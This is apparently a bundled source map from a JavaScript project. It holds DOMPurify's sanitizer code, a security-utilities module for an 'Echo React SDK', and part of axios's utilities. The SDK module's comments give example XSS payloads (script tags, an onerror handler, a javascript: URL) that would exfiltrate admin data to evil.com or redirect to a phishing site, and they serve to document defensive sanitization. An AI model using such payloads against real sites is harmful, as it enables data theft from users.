(https://html.spec.whatwg.org/multipage/dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes)\n XML-compatible (https://html.spec.whatwg.org/multipage/infrastructure.html#xml-compatible and http://www.w3.org/TR/xml/#d0e804)\n We don't need to check the value; it's always URI safe. */\n if (ALLOW_DATA_ATTR && !FORBID_ATTR[lcName] && regExpTest(DATA_ATTR, lcName)) ; else if (ALLOW_ARIA_ATTR && regExpTest(ARIA_ATTR, lcName)) ; else if (!ALLOWED_ATTR[lcName] || FORBID_ATTR[lcName]) {\n if (\n // First condition does a very basic check if a) it's basically a valid custom element tagname AND\n // b) if the tagName passes whatever the user has configured for CUSTOM_ELEMENT_HANDLING.tagNameCheck\n // and c) if the attribute name passes whatever the user has configured for CUSTOM_ELEMENT_HANDLING.attributeNameCheck\n _isBasicCustomElement(lcTag) && (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, lcTag) || CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(lcTag)) && (CUSTOM_ELEMENT_HANDLING.attributeNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.attributeNameCheck, lcName) || CUSTOM_ELEMENT_HANDLING.attributeNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.attributeNameCheck(lcName)) ||\n // Alternative, second condition checks if it's an `is`-attribute, AND\n // the value passes whatever the user has configured for CUSTOM_ELEMENT_HANDLING.tagNameCheck\n lcName === 'is' && CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements && (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, value) || CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(value))) ; else {\n return false;\n }\n /* Check value is safe. First, is attr inert? If so, is safe */\n } else if (URI_SAFE_ATTRIBUTES[lcName]) ; else if (regExpTest(IS_ALLOWED_URI$1, stringReplace(value, ATTR_WHITESPACE, ''))) ; else if ((lcName === 'src' || lcName === 'xlink:href' || lcName === 'href') && lcTag !== 'script' && stringIndexOf(value, 'data:') === 0 && DATA_URI_TAGS[lcTag]) ; else if (ALLOW_UNKNOWN_PROTOCOLS && !regExpTest(IS_SCRIPT_OR_DATA, stringReplace(value, ATTR_WHITESPACE, ''))) ; else if (value) {\n return false;\n } else ;\n return true;\n };\n /**\n * _isBasicCustomElement\n * checks if at least one dash is included in tagName, and it's not the first char\n * for more sophisticated checking see https://github.com/sindresorhus/validate-element-name\n *\n * @param tagName name of the tag of the node to sanitize\n * @returns Returns true if the tag name meets the basic criteria for a custom element, otherwise false.\n */\n const _isBasicCustomElement = function _isBasicCustomElement(tagName) {\n return tagName !== 'annotation-xml' && stringMatch(tagName, CUSTOM_ELEMENT);\n };\n /**\n * _sanitizeAttributes\n *\n * @protect attributes\n * @protect nodeName\n * @protect removeAttribute\n * @protect setAttribute\n *\n * @param currentNode to sanitize\n */\n const _sanitizeAttributes = function _sanitizeAttributes(currentNode) {\n /* Execute a hook if present */\n _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);\n const {\n attributes\n } = currentNode;\n /* Check if we have attributes; if not we might have a text node */\n if (!attributes || _isClobbered(currentNode)) {\n return;\n }\n const hookEvent = {\n attrName: '',\n attrValue: '',\n keepAttr: true,\n allowedAttributes: ALLOWED_ATTR,\n forceKeepAttr: undefined\n };\n let l = attributes.length;\n /* Go backwards over all attributes; safely remove bad ones */\n while (l--) {\n const attr = attributes[l];\n const {\n name,\n namespaceURI,\n value: attrValue\n } = attr;\n const lcName = transformCaseFunc(name);\n const initValue = attrValue;\n let value = name === 'value' ? initValue : stringTrim(initValue);\n /* Execute a hook if present */\n hookEvent.attrName = lcName;\n hookEvent.attrValue = value;\n hookEvent.keepAttr = true;\n hookEvent.forceKeepAttr = undefined; // Allows developers to see this is a property they can set\n _executeHooks(hooks.uponSanitizeAttribute, currentNode, hookEvent);\n value = hookEvent.attrValue;\n /* Full DOM Clobbering protection via namespace isolation,\n * Prefix id and name attributes with `user-content-`\n */\n if (SANITIZE_NAMED_PROPS && (lcName === 'id' || lcName === 'name')) {\n // Remove the attribute with this value\n _removeAttribute(name, currentNode);\n // Prefix the value and later re-create the attribute with the sanitized value\n value = SANITIZE_NAMED_PROPS_PREFIX + value;\n }\n /* Work around a security issue with comments inside attributes */\n if (SAFE_FOR_XML && regExpTest(/((--!?|])>)|<\\/(style|title)/i, value)) {\n _removeAttribute(name, currentNode);\n continue;\n }\n /* Did the hooks approve of the attribute? */\n if (hookEvent.forceKeepAttr) {\n continue;\n }\n /* Did the hooks approve of the attribute? */\n if (!hookEvent.keepAttr) {\n _removeAttribute(name, currentNode);\n continue;\n }\n /* Work around a security issue in jQuery 3.0 */\n if (!ALLOW_SELF_CLOSE_IN_ATTR && regExpTest(/\\/>/i, value)) {\n _removeAttribute(name, currentNode);\n continue;\n }\n /* Sanitize attribute content to be template-safe */\n if (SAFE_FOR_TEMPLATES) {\n arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], expr => {\n value = stringReplace(value, expr, ' ');\n });\n }\n /* Is `value` valid for this attribute? */\n const lcTag = transformCaseFunc(currentNode.nodeName);\n if (!_isValidAttribute(lcTag, lcName, value)) {\n _removeAttribute(name, currentNode);\n continue;\n }\n /* Handle attributes that require Trusted Types */\n if (trustedTypesPolicy && typeof trustedTypes === 'object' && typeof trustedTypes.getAttributeType === 'function') {\n if (namespaceURI) ; else {\n switch (trustedTypes.getAttributeType(lcTag, lcName)) {\n case 'TrustedHTML':\n {\n value = trustedTypesPolicy.createHTML(value);\n break;\n }\n case 'TrustedScriptURL':\n {\n value = trustedTypesPolicy.createScriptURL(value);\n break;\n }\n }\n }\n }\n /* Handle invalid data-* attribute set by try-catching it */\n if (value !== initValue) {\n try {\n if (namespaceURI) {\n currentNode.setAttributeNS(namespaceURI, name, value);\n } else {\n /* Fallback to setAttribute() for browser-unrecognized namespaces e.g. \"x-schema\". */\n currentNode.setAttribute(name, value);\n }\n if (_isClobbered(currentNode)) {\n _forceRemove(currentNode);\n } else {\n arrayPop(DOMPurify.removed);\n }\n } catch (_) {\n _removeAttribute(name, currentNode);\n }\n }\n }\n /* Execute a hook if present */\n _executeHooks(hooks.afterSanitizeAttributes, currentNode, null);\n };\n /**\n * _sanitizeShadowDOM\n *\n * @param fragment to iterate over recursively\n */\n const _sanitizeShadowDOM = function _sanitizeShadowDOM(fragment) {\n let shadowNode = null;\n const shadowIterator = _createNodeIterator(fragment);\n /* Execute a hook if present */\n _executeHooks(hooks.beforeSanitizeShadowDOM, fragment, null);\n while (shadowNode = shadowIterator.nextNode()) {\n /* Execute a hook if present */\n _executeHooks(hooks.uponSanitizeShadowNode, shadowNode, null);\n /* Sanitize tags and elements */\n _sanitizeElements(shadowNode);\n /* Check attributes next */\n _sanitizeAttributes(shadowNode);\n /* Deep shadow DOM detected */\n if (shadowNode.content instanceof DocumentFragment) {\n _sanitizeShadowDOM(shadowNode.content);\n }\n }\n /* Execute a hook if present */\n _executeHooks(hooks.afterSanitizeShadowDOM, fragment, null);\n };\n // eslint-disable-next-line complexity\n DOMPurify.sanitize = function (dirty) {\n let cfg = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};\n let body = null;\n let importedNode = null;\n let currentNode = null;\n let returnNode = null;\n /* Make sure we have a string to sanitize.\n DO NOT return early, as this will return the wrong type if\n the user has requested a DOM object rather than a string */\n IS_EMPTY_INPUT = !dirty;\n if (IS_EMPTY_INPUT) {\n dirty = '<!-->';\n }\n /* Stringify, in case dirty is an object */\n if (typeof dirty !== 'string' && !_isNode(dirty)) {\n if (typeof dirty.toString === 'function') {\n dirty = dirty.toString();\n if (typeof dirty !== 'string') {\n throw typeErrorCreate('dirty is not a string, aborting');\n }\n } else {\n throw typeErrorCreate('toString is not a function');\n }\n }\n /* Return dirty HTML if DOMPurify cannot run */\n if (!DOMPurify.isSupported) {\n return dirty;\n }\n /* Assign config vars */\n if (!SET_CONFIG) {\n _parseConfig(cfg);\n }\n /* Clean up removed elements */\n DOMPurify.removed = [];\n /* Check if dirty is correctly typed for IN_PLACE */\n if (typeof dirty === 'string') {\n IN_PLACE = false;\n }\n if (IN_PLACE) {\n /* Do some early pre-sanitization to avoid unsafe root nodes */\n if (dirty.nodeName) {\n const tagName = transformCaseFunc(dirty.nodeName);\n if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {\n throw typeErrorCreate('root node is forbidden and cannot be sanitized in-place');\n }\n }\n } else if (dirty instanceof Node) {\n /* If dirty is a DOM element, append to an empty document to avoid\n elements being stripped by the parser */\n body = _initDocument('<!---->');\n importedNode = body.ownerDocument.importNode(dirty, true);\n if (importedNode.nodeType === NODE_TYPE.element && importedNode.nodeName === 'BODY') {\n /* Node is already a body, use as is */\n body = importedNode;\n } else if (importedNode.nodeName === 'HTML') {\n body = importedNode;\n } else {\n // eslint-disable-next-line unicorn/prefer-dom-node-append\n body.appendChild(importedNode);\n }\n } else {\n /* Exit directly if we have nothing to do */\n if (!RETURN_DOM && !SAFE_FOR_TEMPLATES && !WHOLE_DOCUMENT &&\n // eslint-disable-next-line unicorn/prefer-includes\n dirty.indexOf('<') === -1) {\n return trustedTypesPolicy && RETURN_TRUSTED_TYPE ? trustedTypesPolicy.createHTML(dirty) : dirty;\n }\n /* Initialize the document to work on */\n body = _initDocument(dirty);\n /* Check we have a DOM node from the data */\n if (!body) {\n return RETURN_DOM ? null : RETURN_TRUSTED_TYPE ? emptyHTML : '';\n }\n }\n /* Remove first element node (ours) if FORCE_BODY is set */\n if (body && FORCE_BODY) {\n _forceRemove(body.firstChild);\n }\n /* Get node iterator */\n const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);\n /* Now start iterating over the created document */\n while (currentNode = nodeIterator.nextNode()) {\n /* Sanitize tags and elements */\n _sanitizeElements(currentNode);\n /* Check attributes next */\n _sanitizeAttributes(currentNode);\n /* Shadow DOM detected, sanitize it */\n if (currentNode.content instanceof DocumentFragment) {\n _sanitizeShadowDOM(currentNode.content);\n }\n }\n /* If we sanitized `dirty` in-place, return it. */\n if (IN_PLACE) {\n return dirty;\n }\n /* Return sanitized string or DOM */\n if (RETURN_DOM) {\n if (RETURN_DOM_FRAGMENT) {\n returnNode = createDocumentFragment.call(body.ownerDocument);\n while (body.firstChild) {\n // eslint-disable-next-line unicorn/prefer-dom-node-append\n returnNode.appendChild(body.firstChild);\n }\n } else {\n returnNode = body;\n }\n if (ALLOWED_ATTR.shadowroot || ALLOWED_ATTR.shadowrootmode) {\n /*\n AdoptNode() is not used because internal state is not reset\n (e.g. the past names map of a HTMLFormElement), this is safe\n in theory but we would rather not risk another attack vector.\n The state that is cloned by importNode() is explicitly defined\n by the specs.\n */\n returnNode = importNode.call(originalDocument, returnNode, true);\n }\n return returnNode;\n }\n let serializedHTML = WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML;\n /* Serialize doctype if allowed */\n if (WHOLE_DOCUMENT && ALLOWED_TAGS['!doctype'] && body.ownerDocument && body.ownerDocument.doctype && body.ownerDocument.doctype.name && regExpTest(DOCTYPE_NAME, body.ownerDocument.doctype.name)) {\n serializedHTML = '<!DOCTYPE ' + body.ownerDocument.doctype.name + '>\\n' + serializedHTML;\n }\n /* Sanitize final string template-safe */\n if (SAFE_FOR_TEMPLATES) {\n arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], expr => {\n serializedHTML = stringReplace(serializedHTML, expr, ' ');\n });\n }\n return trustedTypesPolicy && RETURN_TRUSTED_TYPE ? trustedTypesPolicy.createHTML(serializedHTML) : serializedHTML;\n };\n DOMPurify.setConfig = function () {\n let cfg = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n _parseConfig(cfg);\n SET_CONFIG = true;\n };\n DOMPurify.clearConfig = function () {\n CONFIG = null;\n SET_CONFIG = false;\n };\n DOMPurify.isValidAttribute = function (tag, attr, value) {\n /* Initialize shared config vars if necessary. */\n if (!CONFIG) {\n _parseConfig({});\n }\n const lcTag = transformCaseFunc(tag);\n const lcName = transformCaseFunc(attr);\n return _isValidAttribute(lcTag, lcName, value);\n };\n DOMPurify.addHook = function (entryPoint, hookFunction) {\n if (typeof hookFunction !== 'function') {\n return;\n }\n arrayPush(hooks[entryPoint], hookFunction);\n };\n DOMPurify.removeHook = function (entryPoint, hookFunction) {\n if (hookFunction !== undefined) {\n const index = arrayLastIndexOf(hooks[entryPoint], hookFunction);\n return index === -1 ? undefined : arraySplice(hooks[entryPoint], index, 1)[0];\n }\n return arrayPop(hooks[entryPoint]);\n };\n DOMPurify.removeHooks = function (entryPoint) {\n hooks[entryPoint] = [];\n };\n DOMPurify.removeAllHooks = function () {\n hooks = _createHooksMap();\n };\n return DOMPurify;\n}\nvar purify = createDOMPurify();\n\nexport { purify as default };\n//# sourceMappingURL=purify.es.mjs.map\n","/**\n * Client-side security utilities for Echo React SDK\n *\n * SECURITY DOCUMENTATION:\n *\n * This module provides essential client-side security protections for the Echo React SDK:\n *\n * 1. XSS Protection: Sanitizes user-controlled data (names, emails) that could contain\n * malicious scripts injected via compromised OAuth providers or man-in-the-middle attacks\n *\n * 2. CSP Compatibility: Provides alternatives to popup-based flows that would be blocked\n * by Content Security Policy headers in enterprise environments\n *\n * 3. Rate Limiting: Client-side request debouncing to prevent API abuse and improve UX\n *\n * WHY THESE PROTECTIONS ARE NEEDED:\n * - OAuth providers can be compromised, injecting malicious data into user profiles\n * - Enterprise deployments require CSP compatibility for security compliance\n * - Rapid API calls can trigger rate limiting and degrade user experience\n */\n\nimport DOMPurify from 'dompurify';\n\n// Initialize DOMPurify for both browser and Node.js environments\nconst purify = (() => {\n if (typeof window !== 'undefined') {\n // Browser environment\n return DOMPurify;\n } else {\n // Node.js environment (testing) - import JSDOM dynamically to avoid issues\n try {\n // eslint-disable-next-line @typescript-eslint/no-var-requires\n const { JSDOM } = require('jsdom');\n const { window } = new JSDOM('');\n return DOMPurify(window);\n } catch (error) {\n // Fallback if JSDOM is not available\n return {\n sanitize: (dirty: string) => dirty.replace(/<[^>]*>/g, ''),\n } as typeof DOMPurify;\n }\n }\n})();\n\n/**\n * Sanitizes user-provided text to prevent XSS attacks\n *\n * SECURITY PURPOSE: Prevents execution of malicious JavaScript injected into\n * user profile data (name, email, etc.) from compromised OAuth providers.\n *\n * ATTACK SCENARIO PREVENTED:\n * - Attacker compromises OAuth provider or performs MITM attack\n * - Injects: user.name = '<script>fetch(\"/api/admin\").then(r=>r.json()).then(d=>fetch(\"https://evil.com\", {method:\"POST\", body:JSON.stringify(d)}))</script>'\n * - Without sanitization: Script executes when name is rendered, stealing admin data\n * - With sanitization: Script tags removed, only safe text displayed\n *\n * @param input - Raw user input that may contain malicious content\n * @returns Sanitized string safe for DOM rendering\n *\n * @example\n * ```typescript\n * // Dangerous: Direct rendering of user data\n * <div>Welcome, {user.name}!</div> // ❌ VULNERABLE TO XSS\n *\n * // Safe: Sanitized rendering\n * <div>Welcome, {sanitizeText(user.name)}!</div> // ✅ PROTECTED\n * ```\n */\nexport function sanitizeText(input: string | null | undefined): string {\n if (!input) return '';\n\n try {\n // Use properly initialized DOMPurify\n let sanitized = purify.sanitize(input, {\n ALLOWED_TAGS: [], // No HTML tags allowed\n ALLOWED_ATTR: [], // No attributes allowed\n KEEP_CONTENT: true, // Keep text content\n RETURN_DOM: false, // Return string, not DOM\n RETURN_DOM_FRAGMENT: false, // Return string, not fragment\n FORCE_BODY: true, // Force processing in body context to handle SVG\n });\n\n // DOMPurify can be overly aggressive with certain tags - use fallback if result is empty but input has text\n if (!sanitized.trim()) {\n // Extract potential text content by removing HTML tags\n const textContent = input.replace(/<[^>]*>/g, '').trim();\n if (textContent) {\n // Fallback for problematic cases where DOMPurify strips everything\n sanitized = input\n .replace(/<[^>]*>/g, '') // Remove all HTML tags\n .replace(/javascript:/gi, '') // Remove javascript: URLs\n .replace(/on\\w+\\s*=/gi, '') // Remove event handlers\n .trim();\n }\n }\n\n return sanitized.trim().slice(0, 1000); // Limit length to prevent DoS\n } catch {\n // Fallback: Simple regex-based sanitization\n const fallbackSanitized = input\n .replace(/<[^>]*>/g, '') // Remove all HTML tags\n .replace(/javascript:/gi, '') // Remove javascript: URLs\n .replace(/on\\w+\\s*=/gi, '') // Remove event handlers\n .trim();\n\n return fallbackSanitized.slice(0, 1000);\n }\n}\n\n/**\n * Sanitizes user profile data for safe display in UI components\n *\n * SECURITY PURPOSE: Comprehensive sanitization of all user profile fields\n * that could be controlled by attackers through OAuth profile injection.\n *\n * @param profile - User profile from OAuth provider (potentially malicious)\n * @returns Sanitized profile safe for UI display\n *\n * @example\n * ```typescript\n * // Before sanitization (dangerous):\n * const maliciousProfile = {\n * name: '<img src=x onerror=\"fetch(\\'/admin\\').then(r=>r.text()).then(d=>navigator.sendBeacon(\\'https://evil.com\\', d))\">John',\n * email: 'john@example.com\"><script>document.location=\"https://phishing.com\"</script>',\n * };\n *\n * // After sanitization (safe):\n * const safeProfile = sanitizeUserProfile(maliciousProfile);\n * // { name: 'John', email: 'john@example.com' }\n * ```\n */\nexport function sanitizeUserProfile(profile: {\n name?: string;\n email?: string;\n picture?: string;\n [key: string]: unknown;\n}): {\n name: string;\n email: string;\n picture: string;\n} {\n return {\n name: sanitizeText(profile.name),\n email: sanitizeEmail(profile.email),\n picture: sanitizeUrl(profile.picture),\n };\n}\n\n/**\n * Sanitizes email addresses and validates format\n *\n * SECURITY PURPOSE: Prevents email-based injection attacks and ensures\n * only valid email formats are processed.\n *\n * @param email - Email address to sanitize and validate\n * @returns Valid sanitized email or empty string\n */\nexport function sanitizeEmail(email: string | null | undefined): string {\n if (!email) return '';\n\n const sanitized = sanitizeText(email);\n\n // Extract just the email portion if there's extra content\n const emailMatch = sanitized.match(\n /^([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})/\n );\n if (emailMatch) {\n return emailMatch[1] ?? '';\n }\n\n return '';\n}\n\n/**\n * Sanitizes URLs to prevent javascript: and data: URI attacks\n *\n * SECURITY PURPOSE: Prevents execution of JavaScript through malicious\n * URLs in user profile pictures or other URL fields.\n *\n * ATTACK SCENARIO PREVENTED:\n * - Attacker sets profile.picture = \"javascript:fetch('/admin').then(r=>r.json()).then(d=>fetch('https://evil.com', {method:'POST', body:JSON.stringify(d)}))\"\n * - Without sanitization: JavaScript executes when image loads\n * - With sanitization: Dangerous URL scheme blocked\n *\n * @param url - URL to sanitize\n * @returns Safe HTTP/HTTPS URL or empty string\n */\nexport function sanitizeUrl(url: string | null | undefined): string {\n if (!url) return '';\n\n const sanitized = sanitizeText(url);\n\n try {\n const parsed = new URL(sanitized);\n\n // Only allow safe protocols - block javascript:, data:, file:, etc.\n if (parsed.protocol === 'http:' || parsed.protocol === 'https:') {\n return sanitized;\n }\n\n return '';\n } catch {\n return '';\n }\n}\n\n/**\n * Debounces function calls to prevent API spam and rate limiting\n *\n * SECURITY/UX PURPOSE: Prevents excessive API calls that could:\n * - Trigger server-side rate limiting (causing authentication failures)\n * - Create poor user experience with multiple rapid requests\n * - Overwhelm client-side state management\n *\n * SCENARIO PREVENTED:\n * - User rapidly clicks \"Refresh Balance\" button\n * - Without debouncing: 10 API calls in 1 second, rate limit triggered\n * - With debouncing: Only 1 API call executed, smooth user experience\n *\n * @param func - Function to debounce\n * @param delay - Delay in milliseconds (recommended: 500-1000ms for user actions)\n * @returns Debounced function that only executes after delay\n *\n * @example\n * ```typescript\n * // Without debouncing (problematic):\n * const handleRefresh = () => refreshBalance(); // ❌ Can spam API\n *\n * // With debouncing (protected):\n * const handleRefresh = debounce(refreshBalance, 1000); // ✅ Max 1 call/second\n * ```\n */\nexport function debounce<T extends (...args: unknown[]) => unknown>(\n func: T,\n delay: number\n): (...args: Parameters<T>) => void {\n let timeoutId: NodeJS.Timeout | null = null;\n\n return (...args: Parameters<T>) => {\n if (timeoutId) {\n clearTimeout(timeoutId);\n }\n\n timeoutId = setTimeout(() => {\n func(...args);\n }, delay);\n };\n}\n\n/**\n * Creates a CSP-compatible payment flow that doesn't rely on popups\n *\n * SECURITY PURPOSE: Provides payment functionality that works with strict\n * Content Security Policy headers required in enterprise environments.\n *\n * PROBLEM SOLVED: window.open() is blocked by CSP 'script-src' directive,\n * preventing payment flows from working in secure enterprise deployments.\n *\n * ENTERPRISE SECURITY REQUIREMENT:\n * Many organizations require CSP headers like:\n * Content-Security-Policy: script-src 'self'; object-src 'none';\n *\n * This blocks window.open() calls, breaking popup-based payment flows.\n *\n * @param paymentUrl - Stripe payment link URL\n * @param options - Configuration options for payment flow\n * @returns Promise that resolves when payment is complete or cancelled\n *\n * @example\n * ```typescript\n * // Non-CSP compatible (blocked by strict CSP):\n * window.open(paymentUrl, '_blank'); // ❌ Blocked by CSP\n *\n * // CSP compatible:\n * await openPaymentFlow(paymentUrl, {\n * onComplete: () => refreshBalance(),\n * onCancel: () => console.log('Payment cancelled')\n * }); // ✅ Works with CSP\n * ```\n */\nexport async function openPaymentFlow(\n paymentUrl: string,\n options: {\n onComplete?: () => void;\n onCancel?: () => void;\n onError?: (error: Error) => void;\n } = {}\n): Promise<void> {\n const { onComplete, onCancel, onError } = options;\n\n // Sanitize the payment URL to prevent injection\n const safeUrl = sanitizeUrl(paymentUrl);\n if (!safeUrl) {\n const error = new Error('Invalid payment URL provided');\n onError?.(error);\n throw error;\n }\n\n try {\n // Try popup first (for environments that allow it)\n const popup = window.open(\n safeUrl,\n 'echo-payment',\n 'width=600,height=700,scrollbars=yes,resizable=yes'\n );\n\n if (popup && !popup.closed) {\n // Popup opened successfully - monitor for completion\n return new Promise<void>(resolve => {\n const checkComplete = () => {\n try {\n if (popup.closed) {\n // Payment window closed - assume completion\n onComplete?.();\n resolve();\n return;\n }\n setTimeout(checkComplete, 1000);\n } catch {\n // Cross-origin error means payment completed\n onComplete?.();\n resolve();\n }\n };\n\n checkComplete();\n\n // Timeout after 10 minutes\n setTimeout(() => {\n popup.close();\n onCancel?.();\n resolve();\n }, 600000);\n });\n } else {\n // Popup blocked - fall back to redirect flow (CSP compatible)\n const confirmed = confirm(\n 'Payment will open in a new tab. Click OK to continue, or Cancel to abort.'\n );\n\n if (confirmed) {\n // Store callback info for when user returns\n sessionStorage.setItem('echo_payment_flow', 'true');\n\n // Redirect to payment page\n window.location.href = safeUrl;\n\n return new Promise<void>(resolve => {\n // This will resolve when the user returns to the app\n const handleFocus = () => {\n if (sessionStorage.getItem('echo_payment_flow') === 'completed') {\n sessionStorage.removeItem('echo_payment_flow');\n onComplete?.();\n window.removeEventListener('focus', handleFocus);\n resolve();\n }\n };\n\n window.addEventListener('focus', handleFocus);\n\n // Cleanup after 30 minutes\n setTimeout(() => {\n window.removeEventListener('focus', handleFocus);\n sessionStorage.removeItem('echo_payment_flow');\n onCancel?.();\n resolve();\n }, 1800000);\n });\n } else {\n onCancel?.();\n return Promise.resolve();\n }\n }\n } catch (err) {\n const error = err instanceof Error ? err : new Error('Payment flow failed');\n onError?.(error);\n throw error;\n }\n}\n","'use strict';\n\nexport default function bind(fn, thisArg) {\n return function wrap() {\n return fn.apply(thisArg, arguments);\n };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\nconst {iterator, toStringTag} = Symbol;\n\nconst kindOf = (cache => thing => {\n const str = toString.call(thing);\n return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n type = type.toLowerCase();\n return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n let result;\n if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n result = ArrayBuffer.isView(val);\n } else {\n result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n }\n return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n if (kindOf(val) !== 'object') {\n return false;\n }\n\n const prototype = getPrototypeOf(val);\n return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(toStringTag in val) && !(iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n let kind;\n return thing && (\n (typeof FormData === 'function' && thing instanceof FormData) || (\n isFunction(thing.append) && (\n (kind = kindOf(thing)) === 'formdata' ||\n // detect form-data instance\n (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n )\n )\n )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n // Don't bother if no value provided\n if (obj === null || typeof obj === 'undefined') {\n return;\n }\n\n let i;\n let l;\n\n // Force an array if not already something iterable\n if (typeof obj !== 'object') {\n /*eslint no-param-reassign:0*/\n obj = [obj];\n }\n\n if (isArray(obj)) {\n // Iterate over array values\n for (i = 0, l = obj.length; i < l; i++) {\n fn.call(null, obj[i], i, obj);\n }\n } else {\n // Iterate over object keys\n const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n const len = keys.length;\n let key;\n\n for (i = 0; i < len; i++) {\n key = keys[i];\n fn.call(null, obj[key], key, obj);\n }\n }\n}\n\nfunction findKey(obj, key) {\n key = key.toLowerCase();\n const keys = Object.keys(obj);\n let i = keys.length;\n let _key;\n while (i-- > 0) {\n _key = keys[i];\n if (key === _key.toLowerCase()) {\n return _key;\n }\n }\n return null;\n}\n\nconst _global = (() => {\n /*eslint no-undef:0*/\n 